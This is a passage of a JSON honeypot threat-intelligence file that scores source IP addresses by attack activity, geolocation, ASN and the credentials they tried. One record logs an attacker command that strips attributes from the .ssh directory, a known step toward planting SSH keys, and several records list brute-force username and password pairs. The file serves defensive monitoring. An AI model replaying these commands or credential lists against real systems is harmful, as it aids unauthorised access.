        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T13:33:24.195000+00:00",
        "last_seen_30d": "2026-04-15T16:31:10.985000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 9
      }
    },
    "209.38.199.70": {
      "attack_count": 18,
      "first_seen": "2026-04-07T04:58:44.833Z",
      "last_seen": "2026-04-07T04:59:24.336Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "User-Agent: Go-http-client/1.1",
        "GET /solr/admin/info/system HTTP/1.1",
        "GET /solr/admin/cores?action=STATUS&wt=json HTTP/1.1"
      ],
      "passwords_attempted": [
        "Connection: close",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.7,
        "persistence": 4.2,
        "diversity": 18,
        "spread": 20,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 117,
        "days_active_30d": 5,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-05T17:15:35.683000+00:00",
        "last_seen_30d": "2026-04-09T13:20:24.508000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 69,
        "Honeytrap": 28,
        "Cowrie": 18,
        "Tanner": 2
      }
    },
    "116.28.124.21": {
      "attack_count": 17,
      "first_seen": "2026-04-27T03:11:55.715Z",
      "last_seen": "2026-04-27T03:12:09.064Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "a",
        "admin",
        "nil"
      ],
      "passwords_attempted": [
        "",
        "a",
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 46.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.2,
        "persistence": 15.8,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 19,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-09T04:11:38.280000+00:00",
        "last_seen_30d": "2026-04-27T03:13:15.076000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 17,
        "Suricata": 14,
        "Honeytrap": 2
      }
    },
    "125.124.42.183": {
      "attack_count": 16,
      "first_seen": "2026-04-05T19:24:26.663Z",
      "last_seen": "2026-04-05T19:35:07.350Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "deploy",
        "root"
      ],
      "passwords_attempted": [
        "A123456ZH",
        "changeme"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 58461,
      "as_org": "CT-HangZhou-IDC",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T19:24:26.663000+00:00",
        "last_seen_30d": "2026-04-05T19:45:09.339000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 6
      }
    },
    "175.146.219.21": {
      "attack_count": 16,
      "first_seen": "2026-04-07T15:30:42.295Z",
      "last_seen": "2026-04-07T15:32:05.740Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T15:30:42.295000+00:00",
        "last_seen_30d": "2026-04-07T15:33:09.185000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 9
      }
    },
    "67.102.7.210": {
      "attack_count": 16,
      "first_seen": "2026-04-25T02:21:04.417Z",
      "last_seen": "2026-04-25T02:22:47.658Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 22.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T02:21:04.417000+00:00",
        "last_seen_30d": "2026-04-25T02:23:48.058000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 9
      }
    },
    "45.115.176.78": {
      "attack_count": 14,
      "first_seen": "2026-04-08T08:41:14.459Z",
      "last_seen": "2026-04-08T08:42:45.095Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 137120,
      "as_org": "Nas Internet Services Private Limited",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T08:41:14.459000+00:00",
        "last_seen_30d": "2026-04-08T08:43:50.931000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 8
      }
    },
    "160.119.76.48": {
      "attack_count": 13,
      "first_seen": "2026-04-25T12:51:36.931Z",
      "last_seen": "2026-04-25T13:14:20.980Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "scan"
      ],
      "passwords_attempted": [
        ""
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 63.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 1473,
        "days_active_30d": 1,
        "ports_targeted_30d": 147,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-04-25T12:45:06+00:00",
        "last_seen_30d": "2026-04-25T13:33:51.657000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 965,
        "Honeytrap": 408,
        "Dionaea": 28,
        "Miniprint": 16,
        "Cowrie": 13,
        "Redishoneypot": 8,
        "Ciscoasa": 6,
        "ConPot": 6,
        "H0neytr4p": 5,
        "Honeyaml": 5,
        "Ipphoney": 5,
        "Tanner": 5,
        "Sentrypeer": 2,
        "ElasticPot": 1
      }
    },
    "120.240.95.27": {
      "attack_count": 10,
      "first_seen": "2026-04-28T14:58:37.549Z",
      "last_seen": "2026-04-28T15:16:35.138Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1qazxsw23edc!@",
        "mima123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T14:58:37.549000+00:00",
        "last_seen_30d": "2026-04-28T15:17:42.851000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "120.48.28.60": {
      "attack_count": 10,
      "first_seen": "2026-04-05T11:55:39.714Z",
      "last_seen": "2026-04-05T12:23:35.861Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root",
        "server"
      ],
      "passwords_attempted": [
        "Server29!",
        "qwer_1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T11:55:39.714000+00:00",
        "last_seen_30d": "2026-04-05T12:24:40.025000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "35.241.164.4": {
      "attack_count": 10,
      "first_seen": "2026-04-30T07:36:30.690Z",
      "last_seen": "2026-04-30T07:36:35.725Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 24.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T07:36:30.690000+00:00",
        "last_seen_30d": "2026-04-30T07:37:40.906000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "43.224.126.107": {
      "attack_count": 10,
      "first_seen": "2026-04-01T07:23:17.896Z",
      "last_seen": "2026-04-29T21:42:34.451Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sri Lanka",
      "country_code": "LK",
      "city": "Pugoda",
      "asn": 132124,
      "as_org": "Information and Communication Technology Agency of Sri Lanka",
      "threat_score": 58.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.6,
        "persistence": 24.2,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 29,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T07:20:09.083000+00:00",
        "last_seen_30d": "2026-04-29T21:52:42.790000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 25,
        "Cowrie": 10,
        "Honeytrap": 1
      }
    },
    "216.180.246.42": {
      "attack_count": 9,
      "first_seen": "2026-04-05T15:18:40.879Z",
      "last_seen": "2026-04-05T15:19:01.833Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 10.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 399,
        "days_active_30d": 1,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-05T09:41:58.216000+00:00",
        "last_seen_30d": "2026-04-05T15:20:10.308000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 271,
        "Honeytrap": 119,
        "Cowrie": 9
      }
    },
    "163.7.6.154": {
      "attack_count": 8,
      "first_seen": "2026-04-14T02:46:12.233Z",
      "last_seen": "2026-04-14T02:47:49.226Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.0,
        "persistence": 9.2,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 11,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-04T19:33:23.751000+00:00",
        "last_seen_30d": "2026-04-14T02:57:54.658000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Cowrie": 8,
        "Honeytrap": 1
      }
    },
    "192.42.116.92": {
      "attack_count": 8,
      "first_seen": "2026-04-23T18:31:38.425Z",
      "last_seen": "2026-04-23T18:31:59.002Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology",
      "threat_score": 28.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 5.0,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 6,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-18T01:23:58+00:00",
        "last_seen_30d": "2026-04-23T18:33:01.101000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 5,
        "Honeytrap": 1
      }
    },
    "205.210.31.249": {
      "attack_count": 8,
      "first_seen": "2026-04-23T10:26:53.820Z",
      "last_seen": "2026-04-26T10:10:29.789Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 83.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.0,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 125,
        "days_active_30d": 28,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T01:08:38+00:00",
        "last_seen_30d": "2026-04-28T21:14:25.232000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 82,
        "Honeytrap": 22,
        "Adbhoney": 8,
        "Cowrie": 8,
        "Dionaea": 3,
        "ConPot": 1,
        "Tanner": 1
      }
    },
    "3.90.250.34": {
      "attack_count": 8,
      "first_seen": "2026-04-08T00:58:23.707Z",
      "last_seen": "2026-04-27T00:56:41.586Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 53.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.2,
        "persistence": 20.8,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 25,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-03T00:58:11+00:00",
        "last_seen_30d": "2026-04-27T00:57:42.231000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Cowrie": 8,
        "Honeytrap": 3
      }
    },
    "65.49.1.222": {
      "attack_count": 8,
      "first_seen": "2026-04-02T03:57:25.149Z",
      "last_seen": "2026-04-24T13:41:09.755Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 272,
        "days_active_30d": 30,
        "ports_targeted_30d": 63,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T00:23:30.790000+00:00",
        "last_seen_30d": "2026-04-30T14:12:35.249000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 171,
        "Honeytrap": 66,
        "Ciscoasa": 15,
        "Cowrie": 8,
        "ConPot": 6,
        "Dionaea": 4,
        "Adbhoney": 2
      }
    },
    "112.123.107.3": {
      "attack_count": 7,
      "first_seen": "2026-04-08T05:35:35.871Z",
      "last_seen": "2026-04-08T05:35:37.966Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "jvbzd"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 6.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T05:35:35.871000+00:00",
        "last_seen_30d": "2026-04-08T05:45:38.273000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 4
      }
    },
    "223.83.114.88": {
      "attack_count": 6,
      "first_seen": "2026-04-05T11:14:10.284Z",
      "last_seen": "2026-04-12T21:46:24.818Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 56045,
      "as_org": "China Mobile communications corporation",
      "threat_score": 12.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T11:14:10.284000+00:00",
        "last_seen_30d": "2026-04-12T21:57:04.968000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 6
      }
    },
    "45.79.181.94": {
      "attack_count": 6,
      "first_seen": "2026-04-16T02:57:36.856Z",
      "last_seen": "2026-04-16T02:57:37.254Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cedar Knolls",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 80.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.0,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 79,
        "days_active_30d": 27,
        "ports_targeted_30d": 15,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-02T00:22:01+00:00",
        "last_seen_30d": "2026-04-28T12:43:30.846000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 48,
        "Honeytrap": 22,
        "Cowrie": 6,
        "CitrixHoneypot": 1,
        "Ipphoney": 1,
        "Tanner": 1
      }
    },
    "66.132.172.139": {
      "attack_count": 6,
      "first_seen": "2026-04-15T01:38:58.860Z",
      "last_seen": "2026-04-15T01:39:33.446Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 158,
        "days_active_30d": 30,
        "ports_targeted_30d": 49,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T00:51:32+00:00",
        "last_seen_30d": "2026-04-30T22:34:49.641000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 94,
        "Honeytrap": 44,
        "Cowrie": 6,
        "Miniprint": 6,
        "Dionaea": 4,
        "ConPot": 3,
        "Ipphoney": 1
      }
    },
    "66.132.172.198": {
      "attack_count": 6,
      "first_seen": "2026-04-05T01:31:24.733Z",
      "last_seen": "2026-04-05T01:32:11.954Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 90.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 122,
        "days_active_30d": 30,
        "ports_targeted_30d": 41,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T22:23:14+00:00",
        "last_seen_30d": "2026-04-30T23:02:35.931000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 67,
        "Honeytrap": 47,
        "Cowrie": 6,
        "Dicompot": 1,
        "Ipphoney": 1
      }
    },
    "79.143.42.170": {
      "attack_count": 6,
      "first_seen": "2026-04-03T12:59:11.796Z",
      "last_seen": "2026-04-11T23:58:58.914Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Vinnytsia",
      "asn": 24945,
      "as_org": "Telecommunication Company Vinteleport Ltd.",
      "threat_score": 31.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T11:16:32.966000+00:00",
        "last_seen_30d": "2026-04-23T21:04:05.683000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 6
      }
    },
    "103.56.115.187": {
      "attack_count": 5,
      "first_seen": "2026-04-27T01:19:06.242Z",
      "last_seen": "2026-04-27T01:19:07.865Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "cloudroot2024"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 55933,
      "as_org": "Cloudie Limited",
      "threat_score": 19.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T01:19:06.242000+00:00",
        "last_seen_30d": "2026-04-27T01:20:08.858000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "138.197.155.160": {
      "attack_count": 5,
      "first_seen": "2026-04-21T15:11:50.272Z",
      "last_seen": "2026-04-21T15:11:52.880Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "test"
      ],
      "passwords_attempted": [
        "p@ssword"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T15:11:50.272000+00:00",
        "last_seen_30d": "2026-04-21T15:12:58.548000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "14.103.118.197": {
      "attack_count": 5,
      "first_seen": "2026-04-16T00:19:43.629Z",
      "last_seen": "2026-04-16T00:19:46.412Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "steam"
      ],
      "passwords_attempted": [
        "palworld"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
